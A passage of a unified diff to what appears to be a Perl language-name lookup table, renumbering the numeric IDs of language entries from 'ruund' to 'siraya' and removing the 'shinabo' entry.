    q(russian sign language) => [
@@ -49049,7 +49099,7 @@
       q(0),
       ],
    q(ruund) => [
-      q(5818),
+      q(5819),
       q(0),
       ],
    q(rwa) => [
@@ -49065,11 +49115,11 @@
       q(0),
       ],
    q(sa'a) => [
-      q(0834),
+      q(0835),
       q(0),
       ],
    q(sa'ban) => [
-      q(6142),
+      q(6141),
       q(0),
       ],
    q(sa'och) => [
@@ -49081,7 +49131,7 @@
       q(0),
       ],
    q(saam) => [
-      q(5738),
+      q(5740),
       q(0),
       ],
    q(saamia) => [
@@ -49089,7 +49139,7 @@
       q(0),
       ],
    q(saaroa) => [
-      q(6320),
+      q(6319),
       q(0),
       ],
    q(saba) => [
@@ -49097,15 +49147,15 @@
       q(0),
       ],
    q(sabaean) => [
-      q(7471),
+      q(7474),
       q(0),
       ],
    q(sabah bisaya) => [
-      q(1469),
+      q(1470),
       q(0),
       ],
    q(sabah malay) => [
-      q(4530),
+      q(4531),
       q(0),
       ],
    q(sabane) => [
@@ -49113,7 +49163,7 @@
       q(0),
       ],
    q(sabaot) => [
-      q(6187),
+      q(6186),
       q(0),
       ],
    q(sabine) => [
@@ -49121,7 +49171,7 @@
       q(0),
       ],
    q(sabu) => [
-      q(2873),
+      q(2875),
       q(0),
       ],
    q(sabum) => [
@@ -49129,7 +49179,7 @@
       q(0),
       ],
    q(sacapulteco) => [
-      q(5684),
+      q(5686),
       q(0),
       ],
    q(sadri) => [
@@ -49137,11 +49187,11 @@
       q(0),
       ],
    q(saek) => [
-      q(6062),
+      q(6063),
       q(0),
       ],
    q(saep) => [
-      q(6170),
+      q(6169),
       q(0),
       ],
    q(safaliba) => [
@@ -49149,7 +49199,7 @@
       q(0),
       ],
    q(safeyoka) => [
-      q(0858),
+      q(0859),
       q(0),
       ],
    q(safwa) => [
@@ -49165,7 +49215,7 @@
       q(0),
       ],
    q(saho) => [
-      q(6242),
+      q(6241),
       q(0),
       ],
    q(sahu) => [
@@ -49173,23 +49223,23 @@
       q(0),
       ],
    q(saidi arabic) => [
-      q(0625),
+      q(0626),
       q(0),
       ],
    q(saint lucian creole french) => [
-      q(0587),
+      q(0588),
       q(0),
       ],
    q(saisiyat) => [
-      q(7488),
+      q(7491),
       q(0),
       ],
    q(sajalong) => [
-      q(6051),
+      q(6052),
       q(0),
       ],
    q(sajau basap) => [
-      q(6046),
+      q(6047),
       q(0),
       ],
    q(sakachep) => [
@@ -49197,11 +49247,11 @@
       q(0),
       ],
    q(sakalava malagasy) => [
-      q(6067),
+      q(6068),
       q(0),
       ],
    q(sakan) => [
-      q(0223),
+      q(0224),
       q(1),
       ],
    q(sakao) => [
@@ -49217,15 +49267,15 @@
       q(0),
       ],
    q(sakirabia) => [
-      q(6066),
+      q(6067),
       q(0),
       ],
    q(sala) => [
-      q(6014),
+      q(6015),
       q(0),
       ],
    q(salako) => [
-      q(3498),
+      q(3499),
       q(1),
       ],
    q(salampasu) => [
@@ -49237,11 +49287,11 @@
       q(0),
       ],
    q(salas) => [
-      q(5995),
+      q(5996),
       q(0),
       ],
    q(salasaca highland quichua) => [
-      q(5713),
+      q(5715),
       q(0),
       ],
    q(salchuq) => [
@@ -49261,11 +49311,11 @@
       q(0),
       ],
    q(salishan languages) => [
-      q(0368),
+      q(0369),
       q(0),
       ],
    q(sallands) => [
-      q(5952),
+      q(5953),
       q(0),
       ],
    q(salt-yui) => [
@@ -49281,11 +49331,11 @@
       q(0),
       ],
    q(salvadoran sign language) => [
-      q(2293),
+      q(2294),
       q(0),
       ],
    q(sam) => [
-      q(6144),
+      q(6143),
       q(0),
       ],
    q(sama) => [
@@ -49297,7 +49347,7 @@
       q(0),
       ],
    q(samaritan aramaic) => [
-      q(0369),
+      q(0370),
       q(0),
       ],
    q(samarokena) => [
@@ -49305,11 +49355,11 @@
       q(0),
       ],
    q(samatao) => [
-      q(7730),
+      q(7733),
       q(0),
       ],
    q(samay) => [
-      q(6334),
+      q(6333),
       q(0),
       ],
    q(samba) => [
@@ -49317,27 +49367,27 @@
       q(0),
       ],
    q(samba daka) => [
-      q(1680),
+      q(1681),
       q(0),
       ],
    q(samba leko) => [
-      q(4782),
+      q(4784),
       q(0),
       ],
    q(sambal) => [
-      q(7472),
+      q(7475),
       q(0),
       ],
    q(sambalpuri) => [
-      q(6185),
+      q(6184),
       q(0),
       ],
    q(sambe) => [
-      q(7258),
+      q(7260),
       q(0),
       ],
    q(samberigi) => [
-      q(6241),
+      q(6240),
       q(0),
       ],
    q(samburu) => [
@@ -49349,7 +49399,7 @@
       q(0),
       ],
    q(sami languages) => [
-      q(0389),
+      q(0390),
       q(0),
       ],
    q(samo) => [
@@ -49357,31 +49407,31 @@
       q(0),
       ],
    q(samoan) => [
-      q(0392),
+      q(0393),
       q(0),
       ],
    q(samogitian) => [
-      q(5993),
+      q(5994),
       q(0),
       ],
    q(samosa) => [
-      q(6298),
+      q(6297),
       q(0),
       ],
    q(samoyedic languages) => [
-      q(0526),
+      q(0527),
       q(0),
       ],
    q(sampang) => [
-      q(5742),
+      q(5744),
       q(0),
       ],
    q(samre) => [
-      q(6317),
+      q(6316),
       q(0),
       ],
    q(samtao) => [
-      q(6263),
+      q(6262),
       q(0),
       ],
    q(samvedi) => [
@@ -49389,63 +49439,63 @@
       q(0),
       ],
    q(san agustin mixtepec zapotec) => [
-      q(7938),
+      q(7941),
       q(0),
       ],
    q(san baltazar loxicha zapotec) => [
-      q(7919),
+      q(7922),
       q(0),
       ],
    q(san blas kuna) => [
-      q(1904),
+      q(1905),
       q(0),
       ],
    q(san dionisio del mar huave) => [
-      q(2871),
+      q(2873),
       q(0),
       ],
    q(san felipe otlaltepec popoloca) => [
-      q(5560),
+      q(5564),
       q(0),
       ],
    q(san francisco del mar huave) => [
-      q(2850),
+      q(2852),
       q(0),
       ],
    q(san francisco matlatzinca) => [
-      q(4113),
+      q(4114),
       q(0),
       ],
    q(san jeronimo tecoatl mazatec) => [
-      q(4106),
+      q(4107),
       q(0),
       ],
    q(san juan atzingo popoloca) => [
-      q(5547),
+      q(5551),
       q(0),
       ],
    q(san juan colorado mixtec) => [
-      q(4313),
+      q(4314),
       q(0),
       ],
    q(san juan guelavia zapotec) => [
-      q(7788),
+      q(7791),
       q(1),
       ],
    q(san juan teita mixtec) => [
-      q(7497),
+      q(7500),
       q(0),
       ],
    q(san luis temalacayuca popoloca) => [
-      q(5572),
+      q(5576),
       q(0),
       ],
    q(san marcos tlacoyalco popoloca) => [
-      q(5494),
+      q(5498),
       q(0),
       ],
    q(san marcos tlalcoyalco popoloca) => [
-      q(5494),
+      q(5498),
       q(1),
       ],
    q(san martin itunyoso triqui) => [
@@ -49453,11 +49503,11 @@
       q(0),
       ],
    q(san martin quechua) => [
-      q(5700),
+      q(5702),
       q(0),
       ],
    q(san mateo del mar huave) => [
-      q(2865),
+      q(2867),
       q(0),
       ],
    q(san miguel creole french) => [
@@ -49465,19 +49515,19 @@
       q(0),
       ],
    q(san miguel el grande mixtec) => [
-      q(4295),
+      q(4296),
       q(0),
       ],
    q(san miguel piedras mixtec) => [
-      q(7502),
+      q(7505),
       q(0),
       ],
    q(san pedro amuzgos amuzgo) => [
-      q(1015),
+      q(1016),
       q(0),
       ],
    q(san pedro quiatoni zapotec) => [
-      q(7901),
+      q(7904),
       q(0),
       ],
    q(san salvador kongo) => [
@@ -49485,19 +49535,19 @@
       q(0),
       ],
    q(san vicente coatlan zapotec) => [
-      q(7915),
+      q(7918),
       q(0),
       ],
    q(sanaani arabic) => [
-      q(1002),
+      q(1003),
       q(0),
       ],
    q(sanapana) => [
-      q(6177),
+      q(6176),
       q(0),
       ],
    q(sandawe) => [
-      q(0364),
+      q(0365),
       q(0),
       ],
    q(sanga (democratic republic of congo)) => [
@@ -49505,7 +49555,7 @@
       q(0),
       ],
    q(sanga (nigeria)) => [
-      q(7480),
+      q(7483),
       q(0),
       ],
    q(sanggau) => [
@@ -49513,35 +49563,35 @@
       q(0),
       ],
    q(sangil) => [
-      q(6133),
+      q(6132),
       q(0),
       ],
    q(sangir) => [
-      q(6318),
+      q(6317),
       q(0),
       ],
    q(sangisari) => [
-      q(5992),
+      q(5993),
       q(0),
       ],
    q(sangkong) => [
-      q(5989),
+      q(5990),
       q(0),
       ],
    q(sanglechi) => [
-      q(5998),
+      q(5999),
       q(0),
       ],
    q(sango) => [
-      q(0365),
+      q(0366),
       q(0),
       ],
    q(sangtam naga) => [
-      q(5057),
+      q(5061),
       q(0),
       ],
    q(sangu (gabon)) => [
-      q(6138),
+      q(6137),
       q(0),
       ],
    q(sangu (tanzania)) => [
@@ -49549,103 +49599,103 @@
       q(0),
       ],
    q(sani) => [
-      q(7733),
+      q(7736),
       q(0),
       ],
    q(sanie) => [
-      q(7738),
+      q(7741),
       q(0),
       ],
    q(saniyo-hiyewe) => [
-      q(6145),
+      q(6144),
       q(0),
       ],
    q(sankaran maninka) => [
-      q(4524),
+      q(4525),
       q(0),
       ],
    q(sansi) => [
-      q(6227),
+      q(6226),
       q(0),
       ],
    q(sanskrit) => [
-      q(0370),
+      q(0371),
       q(0),
       ],
    q(santa ana de tusi pasco quechua) => [
-      q(5720),
+      q(5722),
       q(0),
       ],
    q(santa catarina albarradas zapotec) => [
-      q(7939),
+      q(7942),
       q(0),
       ],
    q(santa ines ahuatempan popoloca) => [
-      q(5373),
+      q(5377),
       q(0),
       ],
    q(santa ines yatzechi zapotec) => [
-      q(7909),
+      q(7912),
       q(0),
       ],
    q(santa lucia monteverde mixtec) => [
-      q(4188),
+      q(4189),
       q(0),
       ],
    q(santa maria del mar huave) => [
-      q(2874),
+      q(2876),
       q(0),
       ],
    q(santa maria la alta nahuatl) => [
-      q(4873),
+      q(4875),
       q(0),
       ],
    q(santa maria quiegolani zapotec) => [
-      q(7904),
+      q(7907),
       q(0),
       ],
    q(santa maria zacatepec mixtec) => [
-      q(4686),
+      q(4687),
       q(0),
       ],
    q(santa teresa cora) => [
-      q(1814),
+      q(1815),
       q(0),
       ],
    q(santali) => [
-      q(0372),
+      q(0373),
       q(0),
       ],
    q(santiago del estero quichua) => [
-      q(5683),
+      q(5685),
       q(0),
       ],
    q(santiago xanica zapotec) => [
-      q(7913),
+      q(7916),
       q(0),
       ],
    q(santo domingo albarradas zapotec) => [
-      q(7803),
+      q(7806),
       q(0),
       ],
    q(sanuma) => [
-      q(7486),
+      q(7489),
       q(0),
       ],
    q(sao paulo kaingang) => [
-      q(7848),
+      q(7851),
       q(0),
       ],
    q(saotomense) => [
-      q(1844),
+      q(1845),
       q(0),
       ],
    q(saparua) => [
-      q(6181),
+      q(6180),
       q(0),
       ],
    q(sape) => [
-      q(6169),
+      q(6168),
       q(0),
       ],
    q(sapo) => [
@@ -49653,23 +49703,23 @@
       q(0),
       ],
    q(saponi) => [
-      q(6173),
+      q(6172),
       q(0),
       ],
    q(saposa) => [
-      q(6182),
+      q(6181),
       q(0),
       ],
    q(sapuan) => [
-      q(6184),
+      q(6183),
       q(0),
       ],
    q(sar) => [
-      q(4626),
+      q(4627),
       q(0),
       ],
    q(sara) => [
-      q(6202),
+      q(6201),
       q(0),
       ],
    q(sara kaba) => [
@@ -49689,19 +49739,19 @@
       q(0),
       ],
    q(saramaccan) => [
-      q(6209),
+      q(6208),
       q(0),
       ],
    q(sarangani blaan) => [
-      q(1389),
+      q(1390),
       q(0),
       ],
    q(sarangani manobo) => [
-      q(4136),
+      q(4137),
       q(0),
       ],
    q(sarasira) => [
-      q(7929),
+      q(7932),
       q(0),
       ],
    q(saraveca) => [
@@ -49709,71 +49759,71 @@
       q(0),
       ],
    q(sardinian) => [
-      q(0402),
+      q(0403),
       q(0),
       ],
    q(sari) => [
-      q(0894),
+      q(0895),
       q(0),
       ],
    q(sarikoli) => [
-      q(6205),
+      q(6204),
       q(0),
       ],
    q(sarli) => [
-      q(5937),
+      q(5938),
       q(0),
       ],
    q(sarsi) => [
-      q(6212),
+      q(6211),
       q(0),
       ],
    q(sartang) => [
-      q(5267),
+      q(5271),
       q(0),
       ],
    q(sarua) => [
-      q(6310),
+      q(6309),
       q(0),
       ],
    q(sarudu) => [
-      q(5950),
+      q(5951),
       q(0),
       ],
    q(saruga) => [
-      q(6199),
+      q(6198),
       q(0),
       ],
    q(sasak) => [
-      q(0371),
+      q(0372),
       q(0),
       ],
    q(sasaru) => [
-      q(6321),
+      q(6320),
       q(0),
       ],
    q(sassarese sardinian) => [
-      q(5935),
+      q(5936),
       q(0),
       ],
    q(satawalese) => [
-      q(6265),
+      q(6264),
       q(0),
       ],
    q(satere-mawe) => [
-      q(4115),
+      q(4116),
       q(0),
       ],
    q(saterfriesisch) => [
-      q(6259),
+      q(6258),
       q(0),
       ],
    q(saudi arabian sign language) => [
-      q(5942),
+      q(5943),
       q(0),
       ],
    q(sauraseni prakrit) => [
-      q(5614),
+      q(5617),
       q(0),
       ],
    q(saurashtra) => [
@@ -49781,11 +49831,11 @@
       q(0),
       ],
    q(sauri) => [
-      q(6213),
+      q(6212),
       q(0),
       ],
    q(sauria paharia) => [
-      q(4329),
+      q(4330),
       q(0),
       ],
    q(sause) => [
@@ -49793,15 +49843,15 @@
       q(0),
       ],
    q(sausi) => [
-      q(6228),
+      q(6227),
       q(0),
       ],
    q(savi) => [
-      q(5938),
+      q(5939),
       q(0),
       ],
    q(savosavo) => [
-      q(6287),
+      q(6286),
       q(0),
       ],
    q(sawai) => [
@@ -49809,7 +49859,7 @@
       q(0),
       ],
    q(saweru) => [
-      q(6303),
+      q(6302),
       q(0),
       ],
    q(sawi) => [
@@ -49817,19 +49867,19 @@
       q(0),
       ],
    q(sawila) => [
-      q(6305),
+      q(6304),
       q(0),
       ],
    q(sawknah) => [
-      q(6299),
+      q(6298),
       q(0),
       ],
    q(saxon, low) => [
-      q(0306),
+      q(0307),
       q(3),
       ],
    q(saxwe gbe) => [
-      q(6323),
+      q(6322),
       q(0),
       ],
    q(saya) => [
@@ -49837,31 +49887,31 @@
       q(0),
       ],
    q(sayula popoluca) => [
-      q(5557),
+      q(5561),
       q(0),
       ],
    q(scots) => [
-      q(0374),
+      q(0375),
       q(0),
       ],
    q(scottish gaelic) => [
-      q(0153),
+      q(0154),
       q(1),
       ],
    q(scythian) => [
-      q(7473),
+      q(7476),
       q(0),
       ],
    q(sea island creole english) => [
-      q(2648),
+      q(2650),
       q(0),
       ],
    q(seba) => [
-      q(3237),
+      q(3239),
       q(0),
       ],
    q(sebat bet gurage) => [
-      q(5996),
+      q(5997),
       q(0),
       ],
    q(seberuang) => [
@@ -49869,7 +49919,7 @@
       q(0),
       ],
    q(sebop) => [
-      q(6025),
+      q(6026),
       q(0),
       ],
    q(sebuyau) => [
@@ -49877,15 +49927,15 @@
       q(0),
       ],
    q(sechelt) => [
-      q(5955),
+      q(5956),
       q(0),
       ],
    q(secoya) => [
-      q(5974),
+      q(5975),
       q(0),
       ],
    q(sedang) => [
-      q(5956),
+      q(5957),
       q(0),
       ],
    q(sedoa) => [
@@ -49893,15 +49943,15 @@
       q(0),
       ],
    q(seeku) => [
-      q(6161),
+      q(6160),
       q(0),
       ],
    q(segai) => [
-      q(5984),
+      q(5985),
       q(0),
       ],
    q(segeju) => [
-      q(5959),
+      q(5960),
       q(0),
       ],
    q(seget) => [
@@ -49909,15 +49959,15 @@
       q(0),
       ],
    q(sehwi) => [
-      q(5980),
+      q(5981),
       q(0),
       ],
    q(seimat) => [
-      q(6225),
+      q(6224),
       q(0),
       ],
    q(seit-kaitetu) => [
-      q(2756),
+      q(2758),
       q(0),
       ],
    q(sekak) => [
@@ -49925,7 +49975,7 @@
       q(1),
       ],
    q(sekani) => [
-      q(5963),
+      q(5964),
       q(0),
       ],
    q(sekapan) => [
@@ -49937,19 +49987,19 @@
       q(0),
       ],
    q(seke (nepal)) => [
-      q(6070),
+      q(6071),
       q(0),
       ],
    q(seke (vanuatu)) => [
-      q(6065),
+      q(6066),
       q(0),
       ],
    q(sekele) => [
-      q(6959),
+      q(6960),
       q(0),
       ],
    q(seki) => [
-      q(6326),
+      q(6325),
       q(0),
       ],
    q(seko padang) => [
@@ -49965,7 +50015,7 @@
       q(0),
       ],
    q(selangor sign language) => [
-      q(3312),
+      q(3313),
       q(0),
       ],
    q(selaru) => [
@@ -49977,19 +50027,19 @@
       q(0),
       ],
    q(selee) => [
-      q(6143),
+      q(6142),
       q(0),
       ],
    q(selepet) => [
-      q(6175),
+      q(6174),
       q(0),
       ],
    q(selian) => [
-      q(6316),
+      q(6315),
       q(0),
       ],
    q(selkup) => [
-      q(0375),
+      q(0376),
       q(0),
       ],
    q(selungai murut) => [
@@ -49997,19 +50047,19 @@
       q(0),
       ],
    q(seluwasan) => [
-      q(6304),
+      q(6303),
       q(0),
       ],
    q(semai) => [
-      q(5953),
+      q(5954),
       q(0),
       ],
    q(semandang) => [
-      q(5943),
+      q(5944),
       q(0),
       ],
    q(semaq beri) => [
-      q(6338),
+      q(6337),
       q(0),
       ],
    q(sembakung murut) => [
@@ -50017,19 +50067,19 @@
       q(0),
       ],
    q(semelai) => [
-      q(6336),
+      q(6335),
       q(0),
       ],
    q(semimi) => [
-      q(2309),
+      q(2310),
       q(0),
       ],
    q(semitic languages) => [
-      q(0376),
+      q(0377),
       q(0),
       ],
    q(semnam) => [
-      q(6231),
+      q(6230),
       q(0),
       ],
    q(semnani) => [
@@ -50037,87 +50087,87 @@
       q(0),
       ],
    q(sempan) => [
-      q(7475),
+      q(7478),
       q(0),
       ],
    q(sena) => [
-      q(5960),
+      q(5961),
       q(0),
       ],
    q(senara senoufo) => [
-      q(5967),
+      q(5968),
       q(0),
       ],
    q(senaya) => [
-      q(6330),
+      q(6329),
       q(0),
       ],
    q(sene) => [
-      q(5962),
+      q(5963),
       q(0),
       ],
    q(seneca) => [
-      q(5957),
+      q(5958),
       q(0),
       ],
    q(sened) => [
-      q(5948),
+      q(5949),
       q(0),
       ],
    q(sengele) => [
-      q(6341),
+      q(6340),
       q(0),
       ],
    q(senggi) => [
-      q(6141),
+      q(6140),
       q(0),
       ],
    q(sengo) => [
-      q(6174),
+      q(6173),
       q(0),
       ],
    q(sengseng) => [
-      q(6243),
+      q(6242),
       q(0),
       ],
    q(senhaja de srair) => [
-      q(6057),
+      q(6058),
       q(0),
       ],
    q(sensi) => [
-      q(6131),
+      q(6130),
       q(0),
       ],
    q(sentani) => [
-      q(5970),
+      q(5971),
       q(0),
       ],
    q(senthang chin) => [
-      q(5975),
+      q(5976),
       q(0),
       ],
    q(sentinel) => [
-      q(6246),
+      q(6245),
       q(0),
       ],
    q(sepa (indonesia)) => [
-      q(6168),
+      q(6167),
       q(0),
       ],
    q(sepa (papua new guinea)) => [
-      q(6171),
+      q(6170),
       q(0),
       ],
    q(sepedi) => [
-      q(0318),
+      q(0319),
       q(1),
       ],
    q(sepik iwam) => [
-      q(3027),
+      q(3030),
       q(0),
       ],
    q(sera) => [
-      q(6218),
+      q(6217),
       q(0),
       ],
    q(seraiki) => [
@@ -50125,63 +50175,63 @@
       q(1),
       ],
    q(serbian) => [
-      q(0404),
+      q(0405),
       q(0),
       ],
    q(serbo-croatian) => [
-      q(0537),
+      q(0538),
       q(0),
       ],
    q(sere) => [
-      q(6291),
+      q(6290),
       q(0),
       ],
    q(serer) => [
-      q(0405),
+      q(0406),
       q(0),
       ],
    q(seri) => [
-      q(5961),
+      q(5962),
       q(0),
       ],
    q(serili) => [
-      q(6284),
+      q(6283),
       q(0),
       ],
    q(seroa) => [
-      q(3563),
+      q(3564),
       q(0),
       ],
    q(serrano) => [
-      q(5968),
+      q(5969),
       q(0),
       ],
    q(seru) => [
-      q(6339),
+      q(6338),
       q(0),
       ],
    q(serua) => [
-      q(6216),
+      q(6215),
       q(0),
       ],
    q(serudung murut) => [
-      q(6207),
+      q(6206),
       q(0),
       ],
    q(serui-laut) => [
-      q(5971),
+      q(5972),
       q(0),
       ],
    q(seselwa creole french) => [
-      q(1853),
+      q(1854),
       q(0),
       ],
    q(seta) => [
-      q(6248),
+      q(6247),
       q(0),
       ],
    q(setaman) => [
-      q(6255),
+      q(6254),
       q(0),
       ],
    q(seti) => [
@@ -50189,27 +50239,27 @@
       q(0),
       ],
    q(settla) => [
-      q(6244),
+      q(6243),
       q(0),
       ],
    q(severn ojibwa) => [
-      q(5213),
+      q(5217),
       q(0),
       ],
    q(sewa bay) => [
-      q(5973),
+      q(5974),
       q(0),
       ],
    q(seze) => [
-      q(6340),
+      q(6339),
       q(0),
       ],
    q(sha) => [
-      q(5931),
+      q(5932),
       q(0),
       ],
    q(shabak) => [
-      q(5934),
+      q(5935),
       q(0),
       ],
    q(shabo) => [
@@ -50217,23 +50267,23 @@
       q(1),
       ],
    q(shahmirzadi) => [
-      q(6219),
+      q(6218),
       q(0),
       ],
    q(shahrudi) => [
-      q(6011),
+      q(6012),
       q(0),
       ],
    q(shall-zwall) => [
-      q(6000),
+      q(6001),
       q(0),
       ],
    q(shama-sambuga) => [
-      q(6188),
+      q(6187),
       q(0),
       ],
    q(shamang) => [
-      q(7476),
+      q(7479),
       q(0),
       ],
    q(shambala) => [
@@ -50241,115 +50291,115 @@
       q(0),
       ],
    q(shan) => [
-      q(0379),
+      q(0380),
       q(0),
       ],
    q(shanenawa) => [
-      q(6300),
+      q(6299),
       q(0),
       ],
    q(shanga) => [
-      q(6012),
+      q(6013),
       q(0),
       ],
    q(shangzhai) => [
-      q(3093),
+      q(3095),
       q(1),
       ],
    q(sharanahua) => [
-      q(4147),
+      q(4148),
       q(0),
       ],
    q(shark bay) => [
-      q(6240),
+      q(6239),
       q(0),
       ],
    q(sharwa) => [
-      q(6302),
+      q(6301),
       q(0),
       ],
    q(shasta) => [
-      q(6017),
+      q(6018),
       q(0),
       ],
    q(shatt) => [
-      q(6008),
+      q(6009),
       q(0),
       ],
    q(shau) => [
-      q(6189),
+      q(6188),
       q(0),
       ],
    q(shawnee) => [
-      q(6060),
+      q(6061),
       q(0),
       ],
    q(she) => [
-      q(6021),
+      q(6022),
       q(0),
       ],
    q(shehri) => [
-      q(6019),
+      q(6020),
       q(0),
       ],
    q(shekhawati) => [
-      q(6307),
+      q(6306),
       q(0),
       ],
    q(shekkacho) => [
-      q(4446),
+      q(4447),
       q(0),
       ],
    q(sheko) => [
-      q(6004),
+      q(6005),
       q(0),
       ],
    q(shelta) => [
-      q(6250),
+      q(6249),
       q(0),
       ],
    q(shempire senoufo) => [
-      q(5954),
+      q(5955),
       q(0),
       ],
    q(shendu) => [
-      q(6010),
+      q(6011),
       q(0),
       ],
    q(sheni) => [
-      q(5930),
+      q(5931),
       q(0),
       ],
    q(sherbro) => [
-      q(1503),
+      q(1504),
       q(0),
       ],
    q(sherdukpen) => [
-      q(5946),
+      q(5947),
       q(0),
       ],
    q(sherpa) => [
-      q(7484),
+      q(7487),
       q(0),
       ],
    q(sheshi kham) => [
-      q(3364),
+      q(3365),
       q(0),
       ],
    q(shi) => [
-      q(6015),
+      q(6016),
       q(0),
       ],
    q(shihhi arabic) => [
-      q(6226),
+      q(6225),
       q(0),
       ],
    q(shiki) => [
-      q(2638),
+      q(2640),
       q(0),
       ],
    q(shilluk) => [
-      q(6009),
+      q(6010),
       q(0),
       ],
    q(shina) => [
@@ -50356,16 +50406,12 @@
       q(5925),
       q(0),
       ],
-   q(shinabo) => [
-      q(6130),
-      q(0),
-      ],
    q(shipibo-conibo) => [
-      q(6013),
+      q(6014),
       q(0),
       ],
    q(shixing) => [
-      q(6314),
+      q(6313),
       q(0),
       ],
    q(sholaga) => [
@@ -50373,55 +50419,55 @@
       q(0),
       ],
    q(shom peng) => [
-      q(6030),
+      q(6031),
       q(0),
       ],
    q(shona) => [
-      q(0394),
+      q(0395),
       q(0),
       ],
    q(shoo-minda-nye) => [
-      q(1085),
+      q(1086),
       q(0),
       ],
    q(shor) => [
-      q(1748),
+      q(1749),
       q(0),
       ],
    q(shoshoni) => [
-      q(6006),
+      q(6007),
       q(0),
       ],
    q(shua) => [
-      q(6005),
+      q(6006),
       q(0),
       ],
    q(shuadit) => [
-      q(5949),
+      q(5950),
       q(0),
       ],
    q(shuar) => [
-      q(3101),
+      q(3103),
       q(0),
       ],
    q(shubi) => [
-      q(6273),
+      q(6272),
       q(0),
       ],
    q(shughni) => [
-      q(5986),
+      q(5987),
       q(0),
       ],
    q(shumashti) => [
-      q(6261),
+      q(6260),
       q(0),
       ],
    q(shumcho) => [
-      q(5929),
+      q(5930),
       q(0),
       ],
    q(shuswap) => [
-      q(6016),
+      q(6017),
       q(0),
       ],
    q(shuwa-zamani) => [
@@ -50429,11 +50475,11 @@
       q(0),
       ],
    q(shwai) => [
-      q(6020),
+      q(6021),
       q(0),
       ],
    q(shwe palaung) => [
-      q(5488),
+      q(5492),
       q(0),
       ],
    q(sialum) => [
@@ -50441,107 +50487,107 @@
       q(0),
       ],
    q(siamou) => [
-      q(6027),
+      q(6028),
       q(0),
       ],
    q(sian) => [
-      q(6172),
+      q(6171),
       q(0),
       ],
    q(siane) => [
-      q(6137),
+      q(6136),
       q(0),
       ],
    q(siang) => [
-      q(6324),
+      q(6323),
       q(0),
       ],
    q(siar-lak) => [
-      q(6056),
+      q(6057),
       q(0),
       ],
    q(siawi) => [
-      q(4397),
+      q(4398),
       q(0),
       ],
    q(sibe) => [
-      q(4767),
+      q(4768),
       q(0),
       ],
    q(siberian tatar) => [
-      q(6266),
+      q(6265),
       q(0),
       ],
    q(sibu melanau) => [
-      q(5951),
+      q(5952),
       q(0),
       ],
    q(sicanian) => [
-      q(6312),
+      q(6311),
       q(0),
       ],
    q(sicel) => [
-      q(5932),
+      q(5933),
       q(0),
       ],
    q(sichuan yi) => [
-      q(0189),
+      q(0190),
       q(0),
       ],
    q(sicilian) => [
-      q(0373),
+      q(0374),
       q(0),
       ],
    q(sicite senoufo) => [
-      q(5966),
+      q(5967),
       q(0),
       ],
    q(siculo arabic) => [
-      q(6195),
+      q(6194),
       q(0),
       ],
    q(sidamo) => [
-      q(0380),
+      q(0381),
       q(0),
       ],
    q(sidetic) => [
-      q(7474),
+      q(7477),
       q(0),
       ],
    q(sie) => [
-      q(2277),
+      q(2278),
       q(0),
       ],
    q(sierra de juarez zapotec) => [
-      q(7787),
+      q(7790),
       q(0),
       ],
    q(sierra leone sign language) => [
-      q(5997),
+      q(5998),
       q(0),
       ],
    q(sierra negra nahuatl) => [
-      q(5074),
+      q(5078),
       q(0),
       ],
    q(sighu) => [
-      q(6313),
+      q(6312),
       q(0),
       ],
    q(sign languages) => [
-      q(0378),
+      q(0379),
       q(0),
       ],
    q(sihan) => [
-      q(6139),
+      q(6138),
       q(0),
       ],
    q(sihuas ancash quechua) => [
-      q(5708),
+      q(5710),
       q(0),
       ],
    q(sika) => [
-      q(6069),
+      q(6070),
       q(0),
       ],
    q(sikaiana) => [
@@ -50553,11 +50599,11 @@
       q(0),
       ],
    q(sikiana) => [
-      q(6032),
+      q(6033),
       q(0),
       ],
    q(sikkimese) => [
-      q(6035),
+      q(6036),
       q(0),
       ],
    q(siksika) => [
@@ -50565,7 +50611,7 @@
       q(0),
       ],
    q(sikule) => [
-      q(6068),
+      q(6069),
       q(0),
       ],
    q(sila) => [
@@ -50573,7 +50619,7 @@
       q(0),
       ],
    q(silacayoapan mixtec) => [
-      q(4352),
+      q(4353),
       q(0),
       ],
    q(sileibi) => [
@@ -50581,27 +50627,27 @@
       q(0),
       ],
    q(silesian) => [
-      q(6342),
+      q(6341),
       q(0),
       ],
    q(silimo) => [
-      q(7235),
+      q(7237),
       q(0),
       ],
    q(siliput) => [
-      q(4338),
+      q(4339),
       q(0),
       ],
    q(silopi) => [
-      q(7482),
+      q(7485),
       q(0),
       ],
    q(silt'e) => [
-      q(6264),
+      q(6263),
       q(0),
       ],
    q(simaa) => [
-      q(6026),
+      q(6027),
       q(0),
       ],
    q(simba) => [
@@ -50633,11 +50679,11 @@
       q(0),
       ],
    q(sinagen) => [
-      q(6039),
+      q(6040),
       q(0),
       ],
    q(sinasina) => [
-      q(6238),
+      q(6237),
       q(0),
       ],
    q(sinaugoro) => [
@@ -50645,11 +50691,11 @@
       q(0),
       ],
    q(sindarin) => [
-      q(6053),
+      q(6054),
       q(0),
       ],
    q(sindhi) => [
-      q(0395),
+      q(0396),
       q(0),
       ],
    q(sindhi bhil) => [
@@ -50657,11 +50703,11 @@
       q(0),
       ],
    q(sindihui mixtec) => [
-      q(7505),
+      q(7508),
       q(0),
       ],
    q(singa) => [
-      q(5990),
+      q(5991),
       q(0),
       ],
    q(singapore sign language) => [
@@ -50669,23 +50715,23 @@
       q(0),
       ],
    q(singpho) => [
-      q(5991),
+      q(5992),
       q(0),
       ],
    q(sinhala) => [
-      q(0381),
+      q(0382),
       q(0),
       ],
    q(sinhalese) => [
-      q(0381),
+      q(0382),
       q(1),
       ],
    q(sinicahua mixtec) => [
-      q(7496),
+      q(7499),
       q(0),
       ],
    q(sinicized miao) => [
-      q(2794),
+      q(2796),
       q(1),
       ],
    q(sininkere) => [
@@ -50693,71 +50739,71 @@
       q(0),
       ],
    q(sino-tibetan languages) => [
-      q(0383),
+      q(0384),
       q(0),
       ],
    q(sinsauru) => [
-      q(6146),
+      q(6145),
       q(0),
       ],
    q(sinte romani) => [
-      q(5807),
+      q(5808),
       q(0),
       ],
    q(sinyar) => [
-      q(6332),
+      q(6331),
       q(0),
       ],
    q(sio) => [
-      q(7477),
+      q(7480),
       q(0),
       ],
    q(siona) => [
-      q(6135),
+      q(6134),
       q(0),
       ],
    q(siouan languages) => [
-      q(0382),
+      q(0383),
       q(0),
       ],
    q(sipacapense) => [
-      q(5678),
+      q(5680),
       q(0),
       ],
    q(sira) => [
-      q(6295),
+      q(6294),
       q(0),
       ],
    q(siraya) => [
-      q(2365),
+      q(2366),
